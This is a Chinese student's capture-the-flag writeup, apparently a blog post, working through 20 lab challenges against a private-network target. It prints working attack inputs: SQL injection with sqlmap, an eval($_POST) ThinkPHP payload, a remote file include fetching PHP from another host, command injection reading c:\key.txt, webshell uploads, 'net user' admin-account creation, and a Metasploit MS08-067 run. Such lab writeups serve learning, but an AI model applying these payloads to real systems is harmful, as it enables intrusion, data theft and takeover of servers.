标签:php文件 show order pytho 语言 ?word sql注入 hbm 修改
20道题,103张截图,终于这个免考项目还是完成了。
拿到key的那一瞬间真的太刺激了,参加完信安大赛之后很怀念这种拿key的感觉。另外就是专业的原因,没有太多的机会去打CTF的比赛,希望能以这种方式让自己爽一把。
感受就是...拿key挺爽,写writeup挺累。但是写完writeup简直是对拿key过程的一个升华。回顾20道题会发现自己竟然学会了这么多东西,也会去找题目之间的共性,比如...好像有几个题目的靶机445没关(~永恒之蓝还是好用~)。再就是include、exec、ftp漏洞都是上课没有主要讲的,这20道题丰富了我的知识体系,特别是漏洞这块。
希望能把信安大赛的那套红蓝对抗带到课堂上,还是挺有意思的。实践性比实验还要强。最后就是很感谢老师的指引,为啥不说指导呢,因为我觉得老师最重要的就是教会了我学习的态度,免考项目就是一个很好的例子,前路还长,一起加油吧。
一个web系统中管理员账户:admin中有一串key,页面只提供了试用账号密码:test test ,我们需要登录进admin账户获取key来通过本关。
1.打开浏览器,访问http://192.168.102.62

2.使用账号密码:test test登录。

3.使用Firefox的firebug插件查看cookies。发现只有user段,值为test。

4.将test修改为admin,再次访问页面,得到key:I am admin


Cookie:判断用户信息的凭据
存储在本地
Test用户登录产生的cookie信息:

通过分析加密字符串获取敏感信息
1.打开浏览器,访问http://192.168.102.62

2.通过查看源码,查看2个超链接的地址:index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3JhbmtpbmcrbGltaXQrMCUyQzQ=
index.php?word=U0VMRUNUKyUyQStGUk9NK2xhbmd1YWdlK29yZGVyK2J5K3llYXIrbGltaXQrMCUyQzQ=

3.2个地址的Word参数是base64加密,将其解密。

4.解密后的字符串:SELECT+%2A+FROM+language+order+by+year+limit+0%2C4是url加密,再次解密:

5.解密结果是一个sql语句。构造新的语句:SELECT * FROM language order by year将其url加密。

6.将得到的字符串base64加密。

7.得到的加密串构造地址:http://192.168.102.62/index.php?word=U0VMRUNUKyorRlJPTStsYW5ndWFnZStvcmRlcitieSt5ZWFy
8.访问得到key:hello world。

通过sql注入获取敏感信息
1.打开浏览器,访问http://192.168.102.62

2.访问超链接:http://192.168.102.62/index.php?id=1通过修改id的值可以查看到相应排名的语言。

3.访问:http://192.168.102.62/index.php?id=1and1=1 返回正确内容。

4.http://192.168.102.62/index.php?id=1 and 1=2 返回错误内容。

5.通过上面可以判断存在注入。Kali下使用sqlmap获取数据库内容。
使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” --dbs 查看数据库。

6.使用命令:sqlmap -u “http://192.168.102.62/index.php?id=1” --dump -D “third” 获取数据库内容。得到key:I am sql inject

通过sql注入获取敏感信息
1.打开浏览器,访问http://192.168.102.62

2.使用kali下的wpscan扫描站点的用户。使用命令wpscan --url “http://192.168.102.62” -e u


3.将密码字典放在桌面。使用命令:wpscan --url “http://192.168.102.62” --username admin --wordlist /root/Desktop/password.txt


4.使用得到的账号密码登录。后台打开外观->编辑->首页模板。

5.粘贴上webshell 代码,保存,访问主页,密码为412587。

6.打开key.php,得到key:hi wordpress

通过备份文件获取敏感信息
1.打开浏览器,访问http://192.168.102.62

2.使用wwwscan,如图配置扫描

3.得到结果:

4.下载扫到的文件:192.168.102.62/www.zip。解压得到key:Dir fuzz

通过svn备份获取敏感信息
1.打开浏览器,访问http://192.168.102.62

2.使用JSky扫描工具,扫描http://192.168.102.62


3.扫描得到svn的备份信息。访问http://192.168.102.62/.svn/entries

4.可知站点目录下只存在index.php文件。于是访问:http://192.168.102.62/.svn/text-base/index.php.svn-base查看到的就是php文件的源码。

5.得到key:Svn backup
通过代码执行漏洞入侵目标
1.打开浏览器,访问http://192.168.102.62,发现时thinkphp 2.1版本

2.通过搜索引擎,得知此版本存在代码执行漏洞。Poc为index.php/module/action/param1/${@print(THINK_VERSION)}

3.根据poc,构造地址:http://192.168.102.62/index.php/module/action/param1/%7B$%7Bphpinfo%28%29%7D%7D

4.1.证明存在漏洞。再构造:
http://192.168.102.62/index.php/module/action/param1/{${eval($_POST[s\])}}使用菜刀连接,如图配置
i
5.浏览站点内容


6.得到key:thinkphp code execution
通过未授权访问获取敏感信息
1.打开浏览器,访问http://192.168.102.62

2.查看源码,观察到超链接有一定规律

3.构造地址:192.168.102.62/index-2.html ,访问被限制

4.在主页打开firefox的插件firebug,切换到网络->html选项

5.在地址栏输入:http://192.168.102.62/index-2.html 并回车。从响应内容里得到key:Unauthorized Access

突破上传限制
1.打开浏览器,访问http://192.168.102.62

2.随便上传一个jpg文件,显示:

3.再上传一个txt文件,显示:

4.Kali下打开burpsuit,并如图设置代理监听为127.0.0.1:8080

5.打开浏览器设置http代理为127.0.0.1:8080

6.Burpsuit如图设置

7.点击上传,拦截到数据包

8.如图位置修改为image/jpeg ,点击forword

9.成功上传,得到key:Dangerous MIME

文件下载漏洞的利用
1.打开浏览器,访问http://192.168.102.62

2.文件可正常下载,访问http://192.168.102.62/images/Desert.jpg 可得到相同的图片

3.查看此文件下载地址为:http://192.168.102.62/index.php?file=Desert.jpg构造新地址:http://192.168.102.62/index.php?file=../index.php下载得到index.php文件,打开得到key: keep going

通过文件包含执行代码
1.打开浏览器,访问http://192.168.102.62

2.观察url地址,访问:http://192.168.102.62/index.php?lang=aaa.php出现报错

3.确定存在文件包含漏洞,且可能可以远程包含。由于测试机和服务器可以互访,所以本地搭建web环境,web根目录存放test.txt文件,内容为:
<?php
$f=fopen("index.php","r");
echo fread($f,filesize("index.php"));
fclose($f);
exit();
?>4.接下来访问:http://192.168.102.62/index.php?lang=http://192.168.102.61/test.txt查看源码,得到key:Remote File Include

通过文件包含获取敏感信息
1.打开浏览器,访问http://192.168.102.62

2.观察url地址,访问:http://192.168.102.62/index.php?lang=aaa.php 出现报错

3.由此判断存在本地包含漏洞。构造地址:http://192.168.102.62/index.php?lang=../../boot.ini访问得到key:Local File Include

使用命令执行获取权限
1.打开浏览器,访问http://192.168.102.62

2.输入 127.0.0.1并提交

3.填写127.0.0.1 | ipconfig 提交

4.可知目标系统存在命令执行漏洞。执行:127.0.0.1 | type c:\key.txt 可以读取到c盘写key.txt的内容

通过ftp获取网站权限
1.打开cmd,输入ftp 192.168.102.62 连接ftp服务器,发现提示用户名为:ftp

2.如图配置参数,线程限制在20,端口设置为21 :

3.点击字典,添加我们的爆破字典

4.点击扫描弱口令,选择扫描ftp弱口令

5.扫描出弱口令账号ftp,密码ftp,登陆上去,发现是web目录

6.连接ftp,上传webshell

7.浏览器访问192.168.102.62/php.php

8.点击web shell,添加用户,分别执行:
net user test test /add
net localgroup administrators test /add


9.远程连接服务器。用账号test 密码test 登陆


通过ftp漏洞获取网站权限
1.打开终端,输入ftp 192.168.102.62 连接ftp服务器,发现ftp服务软件为Gabriel’s ftp server

2.通过搜索引擎,查找版本找到资料:http://www.exploit-db.com/exploits/27401/
3.下载攻击脚本27401.py放在桌面,修改为如下:

4.打开新终端并切换到桌面,执行python 27401.py

5.得到key:ftp bypass

通过远程桌面连接获取目标权限
1.打开爆破工具,填入目标ip,选择3389端口,开始扫描

2.点击添加字典,添加想爆破的账号密码

3.点击扫描弱口令,选择扫描3389弱口令

4.最终得到弱口令:administrator 123456

5.远程登录192.168.102.63,使用账号administrator 密码123456

过远程桌面连接获取目标权限
1.远程连接192.168.102.63

2.在此页面下连续敲击shift键,弹出别人留下的后门

3.在cmd执行
net user test test /add
net localgroup administrators test /add

4.使用账号密码test test 登陆

通过IIS漏洞获取敏感信息
1.打开浏览器,访问http://192.168.102.62

2.因为iis + webdav环境可能存在iis put漏洞,所以我们使用IISPutScanner扫描。如图配置并扫描

3.扫到漏洞。使用iiswrite进行提权,写入asp木马到服务器。填写域名,再如图选择put。选择asp木马


4.点击提交数据包,成功上传

5.再如图选择move,点击提交数据包

6.成功后访问http://192.168.102.62/shell.asp,使用密码admin登陆

7.选择key.asp,点击编辑,得到key:put and write.


通过xampp漏洞获取敏感信息
1.打开浏览器,访问http://192.168.102.62,发现跳转到http://192.168.102.62/xampp/而且得知其版本为 1.7.3

2.通过搜索引擎,知道此版本存在一个漏洞可以读取目标主机上的文件http://www.exploit-db.com/exploits/15370/

3.通过poc,我们构造:http://192.168.102.62/xampp/showcode.php/c:boot.ini?showcode=1访问地址可以得到我们需要的key

通过系统远程溢出控制目标主机
1.打开nessus,使用网络漏洞扫描,扫描主机192.168.102.62

2.查看扫描结果,发现存在漏洞,基于445端口,可远程溢出。使用ms08-67漏洞攻击

3.打开msfconsole,使用攻击模块Use exploit/windows/smb/ms08_067_netap,设置目标ip:set RHOST 192.168.102.62exploit

4.成功攻击后输入cat c:\key.txt 显示c盘下的key.txt文件,得到key:you win

20154312 曾林 ExpFinal CTF Writeup
标签:php文件 show order pytho 语言 ?word sql注入 hbm 修改
原文地址:https://www.cnblogs.com/zl20154312/p/9233012.html